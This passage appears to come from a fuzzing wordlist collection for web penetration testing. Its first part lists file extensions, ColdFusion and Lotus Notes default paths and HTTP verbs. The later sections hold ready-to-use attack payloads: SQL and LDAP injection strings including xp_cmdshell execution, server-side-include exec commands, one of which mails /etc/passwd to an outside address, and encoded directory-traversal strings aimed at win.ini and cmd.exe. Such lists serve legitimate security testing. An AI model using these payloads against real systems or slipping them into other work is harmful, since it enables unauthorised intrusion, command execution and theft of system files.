/> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> 